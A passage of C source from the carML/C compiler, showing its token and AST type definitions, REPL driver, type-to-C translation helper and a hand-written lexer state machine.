LFLOATT0, LFLOATT1, LFLOATT2, LFLOATT3, LFLOATT4, LFLOATT5, LINTT3, LARRAY0, LARRAY1, LARRAY2, LARRAY3, LARRAY4, LARRAY5, LB0, LI0, LUSE0, LF0, LC0, LR0, LW0, LOF0, LOF1, LDEQ0, LDEQ1, LDEQ2, LDEQ3, LDEC0, LDEC1, LDEC2, LDEC3, LDE0, LBOOL0, LBOOL1, LBOOL2, LREF0, LELSE0, LRE0, LTRUE2, LWITH0, LWITH1, LWITH2, LDEC4, LUSE1, LUSE2, LVAR2, LTAG0, LTAGIDENT, LWHILE1, LWHILE2, LWHILE3, LWHILE4, LWHILE5, LFOR0, LFOR1, LFOR2, LWH0 } LexStates; /* AST tag enum. * basically, this is all the AST types, and is * used both for determining the type of AST * that is represented within the tree, as well as * returned from the tokenizer to say what type * of object it thinks is in buffer */ typedef enum { TDEF, TBEGIN, TEND, TEQUAL, TCOREFORM, // 4 TIDENT, TCALL, TOPAREN, TCPAREN, TMATCH, // 9 TIF, TELSE, TTHEN, TTYPE, TPOLY, TVAL, // 15 TARRAY, TRECORD, TINT, TFLOAT, TSTRING, // 20 TCHAR, TBOOL, TEQ, TSEMI, TEOF, TPARAMLIST, // 25 TTDECL, TWHEN, TNEWL, TDO, TUNIT, TERROR, // 31 TLETREC, TLET, TFN, TCASE, TSTRT, TCHART, // 37 TINTT, TFLOATT, TCOMMENT, TREF, TDEQUET, // 41 TBOOLT, TWITH, TOF, TDECLARE, TFALSE, // 47 TTRUE, TUSE, TIN, TCOLON, TRECDEF, // 52 TCOMPLEXTYPE, TCOMMA, TOARR, TCARR, // 56 TARRAYLITERAL, TBIN, TOCT, THEX, // 60 TARROW, TFATARROW, TCUT, TDOLLAR, // 64 TPIPEARROW, TUSERT, TVAR, TTAG, // 68 TPARAMDEF, TTYPEDEF, TWHILE, TFOR // 72 } TypeTag; struct _AST { TypeTag tag; /* there's going to have to be some * interpretation here, as we're not * breaking down the ASTs into discrete * objects, but rather just grouping them * into a generic a piece as possible. * so, for exapmple, and IF block would * have a lenchildren == 3, no matter what * whereas a BEGIN block lenchildren == N, * where N >= 0. In the real thing, would * probably be best to make this a poly with * each member broken down, or an SRFI-57-style * struct. * in fact... if you have row-polymorphism, there's * no need for SRFI-57 inhereitence, save for to * create convience methods... hmm... :thinking_face: */ char *value; uint32_t lenvalue; uint32_t lenchildren; struct _AST **children; }; typedef struct _AST AST; /* Represent the return type of Readers as * `data EitherAST = Right (AST) | Left Int Int String`. * this allows us to return Either an error in the form * of a line number, error number, and message, *or* an * actual AST form. */ typedef enum _ASTEITHERTAG { ASTLEFT, ASTRIGHT } ASTEitherTag; typedef struct _ASTEither { ASTEitherTag tag; struct { int line; int error; char *message; } left; AST *right; } ASTEither; /* A simple type to hold an ASTEither and an * offset into the stream as to where we saw * said ASTEither. Originally this was just a * wrapper, but I decided to linearize it, looking * forward to what I'm toying wrt SRFI-57-style * records */ typedef enum _ASTOFFSETTAG { ASTOFFSETLEFT, ASTOFFSETRIGHT } ASTOffsetTag; typedef struct _ASTOFFSET { int offset; ASTOffsetTag tag; struct { int line; int error; char *message; } left; AST *right; } ASTOffset; /* probably should track urnary vs binary * but for now I think this is enough... */ const char *coperators[] = { "sum", "+", "add", "+", "+", "+", "sub", "-", "-", "-", "div", "/", "/", "/", "mul", "*", "*", "*", "mod", "%", "%", "%", "<", "<", ">", ">", "<=", "<=", ">=", ">=", "eq?", "==", "!=", "!=", "/=", "!=", "<>", "!=", "lshift", "<<", "<<", "<<", "rshift", ">>", ">>", ">>", "xor", "^", "^", "^", "not", "!", "!", "!", "negate", "~", "~", "~", "land", "&&", "logical-and", "&&", "lor", "||", "logical-or", "||", "&&", "&&", "||", "||", "band", "&", "bitwise-and", "&", "&", "&", "bor", "|", "bitwise-or", "|", "|", "|", "set!", "=", ".", ".", "->", "->", "get", "get", "make-struct", "make-struct", "return", "return", 0 }; char *upcase(const char *, char *, int); char *downcase(const char *, char *, int); char *hstrdup(const char *); int next(FILE *, char *, int); AST *mung_declare(const char **, const int **, int, int); ASTOffset *mung_single_type(const char **, const int **, int, int, int); ASTEither *readexpression(FILE *); ASTEither *llreadexpression(FILE *, uint8_t); ASTEither *ASTLeft(int, int, char *); ASTEither *ASTRight(AST *); ASTOffset *ASTOffsetLeft(int, int, char *, int); ASTOffset *ASTOffsetRight(AST *, int); void indent(int); void walk(AST *, int); void llcwalk(AST *, int, int); void generate_type_value(AST *, const char *); // generate a type/poly constructor void generate_type_ref(AST *, const char *); // generate a type/poly reference constructor int compile(FILE *, FILE *); int iswhite(int); int isident(int); int isbrace(int); int istypeast(int); int issimpletypeast(int); int iscomplextypeast(int); int issyntacticform(int); int isprimitivevalue(int); int isvalueform(int); int iscoperator(const char *); char *typespec2c(AST *, char *, char*, int); int main(int ac, char **al) { ASTEither *ret = nil; AST *tmp = nil; FILE *fdin = nil; int walkflag = 0; GC_INIT(); if(ac > 1) { if((fdin = fopen(al[1], "r")) == nil) { printf("cannot open file \"%s\"\n", al[1]); return 1; } if(ac > 2 && !strncmp(al[2], "+c", 2)) { walkflag = 1; } do { ret = readexpression(fdin); if(ret->tag == ASTLEFT) { printf("parse error: %s\n", ret->left.message); break; } tmp = ret->right; if(tmp->tag != TNEWL && tmp->tag != TEOF) { if(walkflag) { cwalk(tmp, 0); } else { walk(tmp, 0); } printf("\n"); } } while(tmp->tag != TEOF); fclose(fdin); } else { printf("\ ___ ___ _ \n\ | \\/ || | \n\ ___ __ _ _ __| . . || | \n\ / __/ _` | '__| |\\/| || | \n\ | (_| (_| | | | | | || |____\n\ \\___\\__,_|_| \\_| |_/\\_____/\n"); printf("\t\tcarML/C 2017.3\n"); printf("(c) 2016-2017 lojikil, released under the ISC License.\n\n"); printf("%%c - turns on C code generation\n%%quit/%%q - quits\n\n"); do { printf(">>> "); ret = readexpression(stdin); //ret = next(stdin, &buf[0], 512); //printf("%s %d\n", buf, ret); if(ret->tag == ASTLEFT) { printf("parse error: %s\n", ret->left.message); } else { tmp = ret->right; if(tmp->tag == TEOF) { break; } else if(tmp->tag == TIDENT && !strncmp(tmp->value, "%quit", 4)) { break; } else if(tmp->tag == TIDENT && !strncmp(tmp->value, "%q", 2)) { break; } else if(tmp->tag == TIDENT && !strncmp(tmp->value, "%c", 2)) { walkflag = !walkflag; printf("[!] C generation is: %s", (walkflag ? "on" : "off")); } else if(tmp->tag != TNEWL) { if(walkflag) { cwalk(tmp, 0); } else { walk(tmp, 0); } } printf("\n"); } } while(1); } return 0; } ASTEither * ASTLeft(int line, int error, char *message) { /* CADT would be pretty easy here, but there's little * point in doing what this compiler will do anyway eventually * So I toil away, in the dark, writing out things I know how * to automate, so that a brighter future may be created from * those dark times when we languished in the C. */ ASTEither *head = (ASTEither *)hmalloc(sizeof(ASTEither)); head->tag = ASTLEFT; head->left.line = line; head->left.error = error; head->left.message = hstrdup(message); return head; } ASTEither * ASTRight(AST *head) { ASTEither *ret = (ASTEither *)hmalloc(sizeof(ASTEither)); ret->tag = ASTRIGHT; ret->right = head; return ret; } ASTOffset * ASTOffsetLeft(int line, int error, char *message, int offset) { /* CADT would be pretty easy here, but there's little * point in doing what this compiler will do anyway eventually * So I toil away, in the dark, writing out things I know how * to automate, so that a brighter future may be created from * those dark times when we languished in the C. */ ASTOffset *head = (ASTOffset *)hmalloc(sizeof(ASTOffset)); head->tag = ASTOFFSETLEFT; head->left.line = line; head->left.error = error; head->left.message = hstrdup(message); head->offset = offset; return head; } ASTOffset * ASTOffsetRight(AST *head, int offset) { ASTOffset *ret = (ASTOffset *)hmalloc(sizeof(ASTOffset)); ret->tag = ASTOFFSETRIGHT; ret->right = head; ret->offset = offset; return ret; } int iswhite(int c){ /* newline (\n) is *not* whitespace per se, but a token. * this is so that we can inform the parser of when we * have hit a new line in things like a begin form. */ return (c == ' ' || c == '\r' || c == '\v' || c == '\t'); } int isbrace(int c) { return (c == '{' || c == '}' || c == '(' || c == ')' || c == '[' || c == ']' || c == ';' || c == ',' || c == ':'); } int isident(int c){ return (!iswhite(c) && c != '\n' && c != ';' && c != '"' && c != '\'' && !isbrace(c)); } int istypeast(int tag) { /* have to have some method * of checking user types here... * perhaps we should just use * idents? */ //debugln; switch(tag) { case TARRAY: case TINTT: case TCHART: case TDEQUET: case TFLOATT: case TSTRT: case TTAG: // user types case TBOOLT: case TREF: return 1; default: return 0; } } int issimpletypeast(int tag) { //debugln; switch(tag) { case TINTT: case TCHART: case TFLOATT: case TSTRT: case TBOOLT: return 1; default: return 0; } } int iscomplextypeast(int tag) { //debugln; switch(tag) { case TARRAY: case TDEQUET: case TREF: case TTAG: // user types return 1; default: return 0; } } int isprimitivevalue(int tag) { switch(tag) { case TINT: case TFLOAT: case TARRAYLITERAL: case TSTRING: case TCHAR: return 1; default: return 0; } } int isvalueform(int tag) { if(isprimitivevalue(tag)) { return 1; } else if(tag == TCALL) { return 1; } else if(tag == TIDENT) { return 1; } else { return 0; } } int iscoperator(const char *potential) { int idx = 0; size_t sze = strlen(potential); while(coperators[idx] != nil) { if(!strncmp(potential, coperators[idx], sze)) { return idx + 1; } idx += 2; } return -1; } int issyntacticform(int tag) { switch(tag) { case TVAL: case TVAR: case TLET: case TLETREC: case TWHEN: case TDO: case TMATCH: case TWHILE: case TFOR: case TIF: return 1; default: return 0; } } // yet another location where I'd rather // return Option[String], sigh // this works fine for function declarations, but // not really for variable decs... need to work // out what *type* of signature we're generating... char * typespec2c(AST *typespec, char *dst, char *name, int len) { int strstart = 0, typeidx = 0, rewrite = 0, speclen = 0; char *typeval = nil; if(typespec->lenchildren == 0 && istypeast(typespec->tag)) { switch(typespec->tag) { case TTAG: typeval = typespec->value; break; case TINTT: typeval = "int"; break; case TFLOATT: typeval = "double"; break; case TARRAY: typeval = "void *"; break; case TREF: typeval = "void *"; break; case TSTRT: typeval = "char *"; break; case TCHART: typeval = "char"; break; case TBOOLT: typeval = "uint8_t"; break; default: typeval = "void *"; } if(name != nil) { snprintf(dst, len, "%s %s", typeval, name); } else { snprintf(dst, len, "%s ", typeval); } return dst; } else if(typespec->lenchildren == 1) { if(typespec->children[0]->tag == TTAG) { snprintf(dst, len, "%s ", typespec->children[0]->value); } else { switch(typespec->children[0]->tag) { case TSTRT: snprintf(dst, 10, "char * "); break; case TDEQUET: snprintf(dst, 10, "deque "); break; case TARRAY: case TREF: default: snprintf(dst, 10, "void * "); break; } } if(name != nil) { strstart = strnlen(dst, 512); snprintf(&dst[strstart], 512 - strstart, "%s ", name); } } else { speclen = typespec->lenchildren; /* the type domination algorithm is as follows: * 1. iterate through the type list * 1. if we hit a tag, that's the stop item * 1. if we hit a cardinal type, that's the stop * 1. invert the list from start to stop * 1. snprintf to C. * so, for example: * `array of array of Either of int` would become * Either **; I'd like to make something fat to hold * arrays, but for now we can just do it this way. * Honestly, I'd love to Specialize types, at least * to some degree, but for now... */ for(; typeidx < speclen; typeidx++) { if(typespec->children[typeidx]->tag == TTAG || issimpletypeast(typespec->children[typeidx]->tag)) { break; } } dprintf("typespec[%d] == null? %s\n", typeidx, typespec->children[typeidx] == nil ? "yes" : "no"); dprintf("here on %d, typeidx: %d, len: %d\n", __LINE__, typeidx, typespec->lenchildren); for(; typeidx >= 0; typeidx--) { switch(typespec->children[typeidx]->tag) { case TTAG: typeval = typespec->children[typeidx]->value; break; case TINTT: typeval = "int"; break; case TFLOATT: typeval = "double"; break; case TARRAY: if(name != nil) { typeval = "[]"; } else { typeval = "*"; } break; case TREF: typeval = "*"; break; case TSTRT: typeval = "char *"; break; case TCHART: typeval = "char"; break; case TBOOLT: typeval = "uint8_t"; break; default: typeval = "void *"; } snprintf(&dst[strstart], (len - strstart), "%s ", typeval); strstart = strnlen(dst, len); if(name != nil && !rewrite) { if(typeidx >= 1 && typespec->children[typeidx - 1]->tag == TREF){ continue; } else { snprintf(&dst[strstart], (len - strstart), "%s", name); strstart = strnlen(dst, len); rewrite = 1; } } } } return dst; } int next(FILE *fdin, char *buf, int buflen) { /* fetch the _next_ token from input, and tie it * to a token type. fill buffer with the current * item, so that we can return identifiers or * numbers. */ int state = 0, rc = 0, cur = 0, idx = 0, substate = 0, tagorident = TIDENT; int defstate = 0; cur = fgetc(fdin); /* we don't really care about whitespace other than * #\n, so ignore anything that is whitespace here. */ if(iswhite(cur)) { while(iswhite(cur)) { cur = fgetc(fdin); } } /* honestly, I'm just doing this because * it's less ugly than a label + goto's * below. Could just use calculated goto's * but that would tie me into gcc entirely... * well, clang too BUT STILL. */ while(1) { switch(cur) { case '\n': return TNEWL; case '(': return TOPAREN; case ')': return TCPAREN; case '{': return TBEGIN; case '}': return TEND; case '[': return TOARR; case ']': return TCARR; case ',': return TCOMMA; case '|': cur = fgetc(fdin); if(iswhite(cur) || isbrace(cur) || cur == '\n') { buf[idx++] = '|'; buf[idx] = nul; ungetc(cur, fdin); return TIDENT; } else if(cur == '>') { return TPIPEARROW; } else { buf[idx++] = '|'; } break; case '=': cur = fgetc(fdin); if(iswhite(cur) || isbrace(cur) || cur == '\n') { return TEQ; } else if(cur == '>') { return TFATARROW; } else { buf[idx++] = '='; } break; case '$': cur = fgetc(fdin); if(cur == '(') { return TCUT; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); return TDOLLAR; } else { /* same jazz here as above with '='. */ buf[idx++] = '$'; } break; case ';': return TSEMI; case ':': return TCOLON; case '@': return TDECLARE; case '#': cur = fgetc(fdin); while(cur != '\n' && idx < 512) { buf[idx++] = cur; cur = fgetc(fdin); } return TCOMMENT; case '"': cur = fgetc(fdin); while(cur != '"') { if(cur == '\\') { cur = fgetc(fdin); switch(cur) { case 'n': buf[idx++] = '\\'; buf[idx++] = 'n'; break; case 'r': buf[idx++] = '\\'; buf[idx++] = 'r'; break; case 't': buf[idx++] = '\\'; buf[idx++] = 't'; break; case 'v': buf[idx++] = '\\'; buf[idx++] = 'v'; break; case '0': buf[idx++] = '\\'; buf[idx++] = '0'; break; case '"': buf[idx++] = '"'; break; default: buf[idx++] = cur; break; } } else { buf[idx++] = cur; } cur = fgetc(fdin); } buf[idx] = '\0'; return TSTRING; case '\'': cur = fgetc(fdin); if(cur == '\\') { cur = fgetc(fdin); switch(cur) { case 'n': buf[idx++] = '\n'; break; case 'r': buf[idx++] = '\r'; break; case 't': buf[idx++] = '\t'; break; case 'v': buf[idx++] = '\v'; break; case '0': buf[idx++] = '\0'; break; case '\'': buf[idx++] = '\''; break; default: buf[idx++] = cur; break; } } else { buf[idx++] = cur; } cur = fgetc(fdin); if(cur != '\'') { strncpy(buf, "missing character terminator", 30); return TERROR; } buf[idx] = '\0'; return TCHAR; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': substate = TINT; while(1) { switch(substate) { case TINT: if((cur >= '0' && cur <= '9')) { buf[idx++] = cur; } else if(cur == '.') { buf[idx++] = cur; substate = TFLOAT; } else if(cur == 'x' || cur == 'X') { idx--; substate = THEX; } else if(cur == 'b' || cur == 'B') { idx--; substate = TBIN; } else if(cur == 'o' || cur == 'O') { idx--; substate = TOCT; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); buf[idx] = '\0'; return TINT; } else { strncpy(buf, "incorrectly formatted integer", 512); return TERROR; } break; case TFLOAT: if(cur >= '0' && cur <= '9') { buf[idx++] = cur; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); buf[idx] = '\0'; return TFLOAT; } else { strncpy(buf, "incorrectly formatted floating point numeral", 512); return TERROR; } break; case THEX: if((cur >= '0' && cur <= '9') || (cur >= 'a' && cur <= 'f') || (cur >= 'A' && cur <= 'F')) { buf[idx++] = cur; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); buf[idx] = '\0'; return THEX; } else { strncpy(buf, "incorrectly formatted hex literal", 512); return TERROR; } break; case TOCT: if(cur >= '0' && cur <= '7') { buf[idx++] = cur; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); buf[idx] = '\0'; return TOCT; } else { strncpy(buf, "incorrectly formatted octal literal", 512); return TERROR; } break; case TBIN: if(cur == '0' || cur == '1') { buf[idx++] = cur; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); buf[idx] = '\0'; return TBIN; } else { strncpy(buf, "incorrectly formatted binary literal", 512); return TERROR; } break; default: strncpy(buf, "incorrectly formatted numeral", 29); return TERROR; } cur = fgetc(fdin); } /* should be identifiers down here... */ default: while(1) { if(feof(fdin)) { return TEOF; } buf[idx++] = cur; if(substate == LIDENT0 && (iswhite(cur) || cur == '\n' || isbrace(cur))) { //debugln; ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } /* the vast majority of the code below is * generated... that still doesn't mean it's * very good. There is a _ton_ of reproduced * code in between different states, and it * would be easy to generate a state machine * table that handles the transition in a more * compact way. This will be the next rev of * this subsystem here. */ switch(substate) { case LSTART: switch(cur) { case 'a': substate = LARRAY0; break; case 'b': substate = LB0; break; case 'c': substate = LC0; break; case 'd': substate = LD0; break; case 'e': substate = LE0; break; case 'f': substate = LF0; break; case 'i': substate = LI0; break; case 'l': substate = LL0; break; case 'm': substate = LMATCH0; break; case 'o': substate = LOF0; break; case 'p': substate = LPOLY0; break; case 'r': substate = LR0; break; case 's': substate = LSTRT0; break; case 't': substate = LT0; break; case 'u': substate = LUSE0; break; case 'v': substate = LVAL0; break; case 'w': substate = LW0; break; default: if(cur >= 'A' && cur <= 'Z') { substate = LTAG0; } else { substate = LIDENT0; } break; } break; case LB0: if(cur == 'e') { substate = LBEGIN0; } else if(cur == 'o') { //debugln; substate = LBOOL0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LBEGIN0: if(cur == 'g') { substate = LBEGIN1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LBEGIN1: if(cur == 'i') { substate = LBEGIN2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LBEGIN2: if(cur == 'n') { substate = LBEGIN3; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LBEGIN3: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TBEGIN; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LBOOL0: //debugln; if(cur == 'o') { //debugln; substate = LBOOL1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LBOOL1: if(cur == 'l') { //debugln; substate = LBOOL2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } //debugln; break; case LBOOL2: if(isident(cur)) { substate = LIDENT0; /*} else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT;*/ }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TBOOLT; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LC0: if(cur == 'h') { substate = LCHAR0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else if(cur == 'a') { substate = LCASE0; } else { substate = LIDENT0; } break; case LCHAR0: if(cur == 'a') { substate = LCHAR1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LCHAR1: if(cur == 'r') { substate = LCHAR2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LCHAR2: if(isident(cur)) { substate = LIDENT0; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); buf[idx] = '\0'; return TCHART; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LD0: if(cur == 'o') { substate = LDO0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else if(cur == 'e') { substate = LDE0; } else { substate = LIDENT0; } break; case LDO0: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TDO; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LDE0: if(cur == 'f') { substate = LDEF0; } else if(cur == 'q') { substate = LDEQ0; } else if(cur == 'c') { substate = LDEC0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LDEQ0: if(cur == 'u') { substate = LDEQ1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LDEQ1: if(cur == 'e') { substate = LDEQ2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LDEQ2: if(isident(cur)) { substate = LIDENT0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); buf[idx] = '\0'; return TDEQUET; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LDEC0: if(cur == 'l') { substate = LDEC1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LDEC1: if(cur == 'a') { substate = LDEC2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LDEC2: if(cur == 'r') { substate = LDEC3; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LDEC3: if(cur == 'e') { substate = LDEC4; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LDEC4: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TDECLARE; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LDEF0: if(isident(cur)) { substate = LIDENT0; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); buf[idx] = '\0'; return TDEF; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LE0: if(cur == 'l') { substate = LELSE0; } else if(cur == 'n') { substate = LEND0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else substate = LIDENT0; break; case LELSE0: if(cur == 's') { substate = LELSE1; } else { substate = LIDENT0; } break; case LELSE1: if(cur == 'e') { substate = LELSE2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LELSE2: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TELSE; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LEND0: if(cur == 'd') { substate = LEND1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LEND1: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TEND; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LF0: if(cur == 'n') { substate = LFN0; } else if(cur == 'l') { substate = LFLOATT0; } else if(cur == 'a') { substate = LFALSE0; } else if(cur == 'o') { substate = LFOR0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LFOR0: if(cur == 'r') { substate = LFOR1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LFOR1: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TFOR; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LFALSE0: if(cur == 'l') { substate = LFALSE1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LFALSE1: if(cur == 's') { substate = LFALSE2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LFALSE2: if(cur == 'e') { substate = LFALSE3; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LFALSE3: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TFALSE; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LFLOATT0: if(cur == 'o') { substate = LFLOATT1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LFLOATT1: if(cur == 'a') { substate = LFLOATT2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LFLOATT2: if(cur == 't') { substate = LFLOATT3; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LFLOATT3: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TFLOATT; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LFN0: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TFN; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LARRAY0: if(cur == 'r') { substate = LARRAY1; } else { substate = LIDENT0; } break; case LI0: if(cur == 'f') { substate = LIF0; } else if(cur == 'n') { substate = LINTT0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LINTT0: if(cur == 't') { substate = LINTT1; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TIN; } else { substate = LIDENT0; } break; case LINTT1: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TINTT; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LIF0: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TIF; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LL0: if(cur == 'e') { substate = LLET1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LLET0: if(cur == 'e') { substate = LLET1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LLET1: if(cur == 't') { substate = LLET2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LLET2: if(cur == 'r') { substate = LLETREC0; } else if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TLET; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LLETREC0: if(cur == 'e') { substate = LLETREC1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LLETREC1: if(cur == 'c') { substate = LLETREC2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LLETREC2: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TLETREC; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LR0: if(cur == 'e') { substate = LRE0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { 